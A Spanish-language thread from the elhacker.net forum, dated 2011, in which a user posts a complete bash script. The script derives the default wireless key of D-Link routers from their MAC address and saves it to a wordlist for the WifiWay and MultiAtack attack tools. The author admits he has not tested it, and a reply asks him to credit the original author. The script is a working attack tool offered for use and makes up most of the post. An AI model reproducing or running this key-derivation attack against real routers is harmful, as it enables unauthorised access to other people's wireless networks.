Foro de elhacker.net

Seguridad Informática => Wireless en Linux => Mensaje iniciado por: m.k. en 1 Enero 2011, 18:05 pm



Título: Dlinkpasswordremind.sh (Recupera la clave por defecto de los router Dlink)
Publicado por: m.k. en 1 Enero 2011, 18:05 pm
Recupera la clave por defecto de los router Dlink


Surfeando por la red me he encontrado con un proyecto que recupera las claves por defecto de los Routers Dlink.

http://code.google.com/p/dlinkpasswordreminder/

Me ha parecido interesante y se me ha ocurrido hacer este Script para WifiWay.

Yo personalmente no lo he podido probar con ninguna red.
Si alguien lo puede probar y funciona que lo postee.
(así lo implementaré en futuras versiones de MultiAtack)

-- Igual he hecho el tonto un rato...!!!

(http://i.elhacker.net/i?i=vgVFGA9menPRMc-IvBloMGVo) (http://i.elhacker.net/d?i=vgVFGA9menPRMc-IvBloMGVo)


Código
  1. #!/bin/bash
  2.  
  3.  
  4.  
  5. ##############################################################################
  6. # Programa: dlinkpassremind.sh
  7. # Autor: M.K. Maese Kamara para Seguridad Wireless y elhacker
  8. #
  9. # Basado en DlinkPasswordReminder.1.0.1, coded by Buterrip
  10. #               http://code.google.com/p/dlinkpasswordreminder
  11. #  
  12. #
  13. ##############################################################################
  14.  
  15. dlink_MAC=`echo $1`
  16. cla=""
  17. p=1
  18.  
  19. function errormac {
  20. clear
  21. echo ""
  22. echo "La MAC $dlink_MAC es invalida. Revisela..."
  23. exit
  24. }
  25.  
  26. # Comprobar longitud de la MAC escrita
  27. if [ ${#dlink_MAC} != 17 ]; then
  28. clear
  29. echo ""
  30. echo "longitud de MAC invalida. Revisela..."
  31. exit
  32. fi
  33.  
  34. while [ $p -le 17 ]; do
  35.  
  36. #leer caracteres de la mMAC
  37. mac=`echo $dlink_MAC|cut  -b $p`
  38.  
  39. puntos[$p]=$mac
  40.  
  41. # Convertir caracteres en minisculas a mayusculas
  42. if [ $mac = "a" ]; then
  43. mac="A"
  44. fi
  45. if [ $mac = "b" ]; then
  46. mac="B"
  47. fi
  48. if [ $mac = "c" ]; then
  49. mac="C"
  50. fi
  51. if [ $mac = "d" ]; then
  52. mac="D"
  53. fi
  54. if [ $mac = "e" ]; then
  55. mac="E"
  56. fi
  57. if [ $mac = "f" ]; then
  58. mac="F"
  59. fi
  60.  
  61. # Asignar valores según caracter de la mac
  62. if [ $mac = "0" ]; then
  63. cla[$p]="X"
  64. fi
  65. if [ $mac = "1" ]; then
  66. cla[$p]="r"
  67. fi
  68. if [ $mac = "2" ]; then
  69. cla[$p]="q"
  70. fi
  71. if [ $mac = "3" ]; then
  72. cla[$p]="a"
  73. fi
  74. if [ $mac = "4" ]; then
  75. cla[$p]="H"
  76. fi
  77. if [ $mac = "5" ]; then
  78. cla[$p]="N"
  79. fi
  80. if [ $mac = "6" ]; then
  81. cla[$p]="p"
  82. fi
  83. if [ $mac = "7" ]; then
  84. cla[$p]="d"
  85. fi
  86. if [ $mac = "8" ]; then
  87. cla[$p]="S"
  88. fi
  89. if [ $mac = "9" ]; then
  90. cla[$p]="y"
  91. fi
  92. if [ $mac = "A" ]; then
  93. cla[$p]="w"
  94. fi
  95. if [ $mac = "B" ]; then
  96. cla[$p]="8"
  97. fi
  98. if [ $mac = "C" ]; then
  99. cla[$p]="6"
  100. fi
  101. if [ $mac = "D" ]; then
  102. cla[$p]="2"
  103. fi
  104. if [ $mac = "E" ]; then
  105. cla[$p]="1"
  106. fi
  107. if [ $mac = "F" ]; then
  108. cla[$p]="5"
  109. fi
  110. p=$(($p+1))
  111. done
  112.  
  113.  
  114. key=${cla[17]}${cla[1]}${cla[16]}${cla[2]}${cla[14]}${cla[4]}${cla[13]}${cla[5]}${cla[11]}${cla[7]}${cla[10]}${cla[8]}${cla[2]}${cla[10]}${cla[13]}${cla[14]}${cla[17]}${cla[4]}${cla[7]}${cla[16]}
  115.  
  116. #comprobar si MAC introducida es correcta
  117. if [ ${puntos[3]} != ":" ]; then
  118. errormac
  119. fi
  120. if [ ${puntos[6]} != ":" ]; then
  121. errormac
  122. fi
  123. if [ ${puntos[9]} != ":" ]; then
  124. errormac
  125. fi
  126. if [ ${puntos[12]} != ":" ]; then
  127. errormac
  128. fi
  129. if [ ${puntos[15]} != ":" ]; then
  130. errormac
  131. fi
  132. if [ ${#key} != 20 ]; then
  133. errormac
  134. fi
  135.  
  136. clear
  137.  
  138. echo "Script basado en DlinkPasswordReminder.1.0.1 original de Buterrip"
  139. echo ""
  140. echo "Key por defecto para"
  141. echo "Dlink con MAC $dlink_MAC"
  142. echo ""
  143. echo $key
  144. echo "--------------------"
  145. echo "Se ha guardado en el fichero"
  146. echo "/root/swireless/wordlist/KeyDlink_$dlink_MAC"
  147. echo ""
  148. echo " Saludos desde SeguridadWireless.net y elhacker.net"
  149. echo ""
  150. echo $key >> /root/swireless/wordlist/KeyDlink_$dlink_MAC
  151.  
  152. #end
  153.  


Descarga:
http://www.multiupload.com/57RIJSO208

Feliz 2011



Título: Re: Dlinkpasswordremind.sh (Recupera la clave por defecto de los router Dlink)
Publicado por: longits en 2 Enero 2011, 11:34 am
Me parece bien, gracias...pero al menos deberías mencionar créditos al autor original, que no eres tú.

Saludos.